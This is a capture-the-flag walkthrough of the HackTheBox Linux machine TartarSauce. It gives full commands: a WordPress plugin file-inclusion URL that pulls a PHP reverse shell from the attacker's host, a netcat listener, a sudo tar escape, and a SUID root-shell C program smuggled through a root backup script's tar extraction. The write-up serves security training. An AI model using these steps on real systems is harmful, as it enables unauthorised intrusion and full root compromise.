A medium Linux box from HackTheBox, get initial access through a vulnerable wordpress plugin, then get privesc to a full user through tar, and then find a backup script that unzips a file as root, allowing you to privesc to root by unzipping a malicious archive with a custom root-owned SUID executable.

Recon

Start with the regular nmap

sudo nmap -sC -sV -oA nmap/init 10.10.10.88
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Landing Page
| http-robots.txt: 5 disallowed entries 
| /webservices/tar/tar/source/ 
| /webservices/monstra-3.0.4/ /webservices/easy-file-uploader/ 
|_/webservices/developmental/ /webservices/phpmyadmin/
|_http-server-header: Apache/2.4.18 (Ubuntu)

Trying out some of the endpoints, all are forbidden except for /webservices/monstra-3.0.4/ which shows that there is an instance of Monstra CMS running, version 3.0.4

Clicking on the login URL, try a couple default credentials - and admin:admin works, now have access to an admin account in the Monstra CMS

Looking at searchsploit

┌──(kali㉿kali)-[~/Documents/htb/tartarsauce]
└─$ searchsploit monstra                           
---------------------------------------------------------------------------------- 
...
Monstra CMS 3.0.4 - (Authenticated) Arbitrary File Upload / Remote Code Execution | php/webapps/43348.txt
Monstra CMS 3.0.4 - Arbitrary Folder Deletion                                     | php/webapps/44512.txt
Monstra CMS 3.0.4 - Authenticated Arbitrary File Upload                           | php/webapps/48479.txt
Monstra cms 3.0.4 - Persitent Cross-Site Scripting                                | php/webapps/44502.txt
Monstra CMS 3.0.4 - Remote Code Execution (Authenticated)                         | php/webapps/49949.py
Monstra CMS < 3.0.4 - Cross-Site Scripting (1)                                    | php/webapps/44855.py
Monstra CMS < 3.0.4 - Cross-Site Scripting (2)                                    | php/webapps/44646.txt
...

And find there is an authenticated RCE with file upload

searchsploit -m php/webapps/48479.txt

Reading the file, its just going to the upload file section and uploading a webshell with a .PHP or .php7 extension, but it looks like the admin user doesn’t have write privileges to the website, and cannot save or modify any of the files

Moving on to gobuster, going to be using the /webservices/ directory, as that seems to be where everything is

gobuster dir -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt --url http://10.10.10.88/webservices/

And it finds the /wp/ directory, indicating that there is wordpress on the box

Going to the /webservices/wp/ directory, find a domain name “limbenjamin.com” and add it to /etc/hosts

Start a wpscan in the background while we poke at the site

wpscan --url http://10.10.10.88/webservices/wp -e ap --plugins-detection aggressive
[i] Plugin(s) Identified:

[+] akismet
 | Location: http://10.10.10.88/webservices/wp/wp-content/plugins/akismet/
 | Last Updated: 2022-07-26T16:13:00.000Z
 | Readme: http://10.10.10.88/webservices/wp/wp-content/plugins/akismet/readme.txt
 | [!] The version is out of date, the latest version is 5.0
 |
 | Found By: Known Locations (Aggressive Detection)
 |  - http://10.10.10.88/webservices/wp/wp-content/plugins/akismet/, status: 200
 |
 | Version: 4.0.3 (100% confidence)
 | Found By: Readme - Stable Tag (Aggressive Detection)
 |  - http://10.10.10.88/webservices/wp/wp-content/plugins/akismet/readme.txt
 | Confirmed By: Readme - ChangeLog Section (Aggressive Detection)
 |  - http://10.10.10.88/webservices/wp/wp-content/plugins/akismet/readme.txt

[+] brute-force-login-protection
 | Location: http://10.10.10.88/webservices/wp/wp-content/plugins/brute-force-login-protection/
 | Latest Version: 1.5.3 (up to date)
 | Last Updated: 2017-06-29T10:39:00.000Z
 | Readme: http://10.10.10.88/webservices/wp/wp-content/plugins/brute-force-login-protection/readme.txt
 |
 | Found By: Known Locations (Aggressive Detection)
 |  - http://10.10.10.88/webservices/wp/wp-content/plugins/brute-force-login-protection/, status: 403
 |
 | Version: 1.5.3 (80% confidence)
 | Found By: Readme - Stable Tag (Aggressive Detection)
 |  - http://10.10.10.88/webservices/wp/wp-content/plugins/brute-force-login-protection/readme.txt

[+] gwolle-gb
 | Location: http://10.10.10.88/webservices/wp/wp-content/plugins/gwolle-gb/
 | Last Updated: 2022-09-01T10:19:00.000Z
 | Readme: http://10.10.10.88/webservices/wp/wp-content/plugins/gwolle-gb/readme.txt
 | [!] The version is out of date, the latest version is 4.3.0
 |
 | Found By: Known Locations (Aggressive Detection)
 |  - http://10.10.10.88/webservices/wp/wp-content/plugins/gwolle-gb/, status: 200
 |
 | Version: 2.3.10 (100% confidence)
 | Found By: Readme - Stable Tag (Aggressive Detection)
 |  - http://10.10.10.88/webservices/wp/wp-content/plugins/gwolle-gb/readme.txt
 | Confirmed By: Readme - ChangeLog Section (Aggressive Detection)
 |  - http://10.10.10.88/webservices/wp/wp-content/plugins/gwolle-gb/readme.txt

Now checking searchsploit

searchsploit gwolle

searchsploit brute-force-login-protection

searchsploit akismet

And find something interesting

WordPress Plugin Gwolle Guestbook 1.5.3 - Remote File Inclusion

php/webapps/38861.txt

Exploitation

Reading the textfile, it allows you to remotely include a php file from the Kali machine

In the form of this

http://[host]/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php?abspath=http://[hackers_website]/

So create a php reverse shell in the working directory, then host a python server to reference it in the URL

Using this reverse shell

git clone https://github.com/pentestmonkey/php-reverse-shell.git

cd php-reverse-shell

mv php-reverse-shell.php wp-load.php

# Replace with Kali machines IP
sed -i 's/127.0.0.1/KALI_IP/' wp-load.php

Then run

python3 -m http.server 80

Start a listener on port 1234

nc -lnvp 1234

And navigate to

http://10.10.10.88/webservices/wp/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php?abspath=http://10.10.14.5/

And get a reverse shell!

Now upgrade to a full shell with

python -c 'import pty;pty.spawn("/bin/bash")'

Then

export TERM=xterm

Then background the process with CTRL+Z, and run

stty raw -echo; fg

And get a fully interactive shell as www-data

Now doing some enumeration, find that the www-data user can run tar as the “onuma” user

www-data@TartarSauce:/$ sudo -l
Matching Defaults entries for www-data on TartarSauce:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on TartarSauce:
    (onuma) NOPASSWD: /bin/tar

Looking up GTFObins tar, can see that we can get an upgraded shell as the onuma user fairly easily

sudo -u onuma tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh

And get a shell as onuma, and the user flag

$ whoami
onuma

Doing more enumeration, find a weird looking systemd timer

systemctl list-timers --all > timers.txt

And find that there is a timer called “backuperer.timer” that runs “backuperer.service”

... UNIT              ACTIVATES
... backuperer.timer  backuperer.service

Then to find where they are

locate backuperer

/etc/systemd/system/multi-user.target.wants/backuperer.timer
/lib/systemd/system/backuperer.service
/lib/systemd/system/backuperer.timer
/usr/sbin/backuperer

Then when looking at the service file, see it just runs /usr/sbin/backuperer, a bash script

#!/bin/bash

#-------------------------------------------------------------------------------------
# backuperer ver 1.0.2 - by ȜӎŗgͷͼȜ
# ONUMA Dev auto backup program
# This tool will keep our webapp backed up incase another skiddie defaces us again.
# We will be able to quickly restore from a backup in seconds ;P
#-------------------------------------------------------------------------------------

# Set Vars Here
basedir=/var/www/html
bkpdir=/var/backups
tmpdir=/var/tmp
testmsg=$bkpdir/onuma_backup_test.txt
errormsg=$bkpdir/onuma_backup_error.txt
tmpfile=$tmpdir/.$(/usr/bin/head -c100 /dev/urandom |sha1sum|cut -d' ' -f1)
check=$tmpdir/check

# formatting
printbdr()
{
    for n in $(seq 72);
    do /usr/bin/printf $"-";
    done
}
bdr=$(printbdr)

# Added a test file to let us see when the last backup was run
/usr/bin/printf $"$bdr\nAuto backup backuperer backup last ran at : $(/bin/date)\n$bdr\n" > $testmsg

# Cleanup from last time.
/bin/rm -rf $tmpdir/.* $check

# Backup onuma website dev files.
/usr/bin/sudo -u onuma /bin/tar -zcvf $tmpfile $basedir &

# Added delay to wait for backup to complete if large files get added.
/bin/sleep 30

# Test the backup integrity
integrity_chk()
{
    /usr/bin/diff -r $basedir $check$basedir
}

/bin/mkdir $check
/bin/tar -zxvf $tmpfile -C $check
if [[ $(integrity_chk) ]]
then
    # Report errors so the dev can investigate the issue.
    /usr/bin/printf $"$bdr\nIntegrity Check Error in backup last ran :  $(/bin/date)\n$bdr\n$tmpfile\n" >> $errormsg
    integrity_chk >> $errormsg
    exit 2
else
    # Clean up and save archive to the bkpdir.
    /bin/mv $tmpfile $bkpdir/onuma-www-dev.bak
    /bin/rm -rf $check .*
    exit 0
fi

Which is run as root, so almost certainly a privesc angle here

Breaking the file down:

  1. Runs every 5 minutes
  2. Cleans up files from previous backups
  3. Backups html site to /var/tmp/RND
  4. Sleep for 30 seconds
  5. Extracts the contents of /var/tmp/RND into /var/tmp/check
  6. Validates the contents of /var/tmp/check against the original html site files
    • If different - save a error log file
    • If validated - remove all temp files and create a backup file in the /var/backup directory

Its a pretty convoluted privesc angle, the weak point of this script is in the unzipping of the /var/tmp/RND by root into /var/tmp/check, but it doesn’t delete it

The exploit runs as follows

  1. Create a malicious tar file with a executable owned by root with the SUID bit set inside
  2. Transfer the tar file over
  3. Wait for the backup script to run, then copy the malicious tar file into the .RND directory inside of /var/tmp/
  4. Wait 30 seconds for the program to stop sleeping
  5. Then execute the SUID executable owned by root in the /var/tmp/check/ directory before the program re-runs in 4 minutes 30 seconds to get root shell

Since the ownership of the file is included in the tar archive, need to create our malicious tar archive locally on the kali box

To create the file locally, need to know the architecture of the victim

uname -a

Linux TartarSauce 4.15.0-041500-generic #201802011154 SMP Thu Feb 1 12:05:23 UTC 2018 i686 i686 i686 GNU/Linux

So it is a 32 bit Linux distro, need to compile accordingly

Locally, create a suid.c file with the contents

#include <stdio.h>

#include <sys/types.h>

#include <unistd.h>

int main(void)

{

setuid(0); setgid(0); system("/bin/sh");

}

Then compile it with

gcc -m32 -o suid suid.c

Might need to install gcc-multilib with

sudo apt install gcc-multilib

If the compilation fails

Now create a nested list of directories, var/www/html inside the working directory, and put the suid executable in the html directory

mkdir -p var/www/html

cp suid var/www/html

Then give this suid file: Owned by root, followed by SUID bit + executable by everyone

sudo chown root:root var/www/html/suid

sudo chmod 6555 var/www/html/suid

You want the suid file inside var/www/html to look like this

ls -la var/www/html/

total 24
drwxr-xr-x 2 kali kali  4096 Sep 16 13:30 .
drwxr-xr-x 3 kali kali  4096 Sep 16 13:23 ..
-r-sr-sr-x 1 root root 15172 Sep 16 13:33 suid

Then zip it up with tar (starting at the var directory)

tar -zcvf setuid.tar.gz var/

The reason we need to include these nested directories is because of the validate check

# Test the backup integrity
integrity_chk()
{
    /usr/bin/diff -r $basedir $check$basedir
}

Which is translated to

# Test the backup integrity
integrity_chk()
{
    /usr/bin/diff -r /var/www/html /var/tmp/check/var/www/html
}

We want it to go into the branch where the file stays and it doesn’t get removed, so we need it to return some kind of differences

And in order to returns these differences, the directories need to exist inside of the /var/tmp/check folder, which are a put there when the archive gets unzipped

Now moving the file over to the victim with a python server

python -m http.server

And wget-ing the file into the /var/tmp directory

onuma@TartarSauce:/var/tmp$ wget 10.10.14.5:8000/setuid.tar.gz

Now need to wait for the script to run, can watch for it to run with

onuma@TartarSauce:/var/tmp$ watch -n 1 systemctl list-timers --all

... LEFT     ...  ACTIVATES
... 46s left ...  backuperer.server

And paying attention to the LEFT column of the backuperer.service row, wait for the timer to roll over to 0s left, then exit out of the watch command with CTRL+C

onuma@TartarSauce:/var/tmp$ ls -la

total 11288
drwxrwxrwt 10 root  root      4096 Sep 16 13:41 .
drwxr-xr-x 14 root  root      4096 May 12 06:55 ..
-rw-r--r--  1 onuma onuma 11511296 Sep 16 13:41 .fb65a0aed50b558e0bdb99bea44808a80f023495
-rw-r--r--  1 onuma onuma     2698 Sep 16 13:37 setuid.tar.gz

...

Move the file to the temp folder

cp setuid.tar.gz .fb65a0aed50b558e0bdb99bea44808a80f023495

Then wait 30 seconds for the sleep to end, and for the /var/tmp/check/ directory to be created, and then run the root owned SUID file inside!

onuma@TartarSauce:/var/tmp$ cd check/var/www/html/
onuma@TartarSauce:/var/tmp/check/var/www/html$ ls -la
total 24
drwxr-xr-x 2 onuma onuma  4096 Sep 16 13:30 .
drwxr-xr-x 3 onuma onuma  4096 Sep 16 13:23 ..
-r-sr-sr-x 1 root  root  15172 Sep 16 13:33 suid

Then run the file for root!

onuma@TartarSauce:/var/tmp/check/var/www/html$ ./suid  
# whoami
root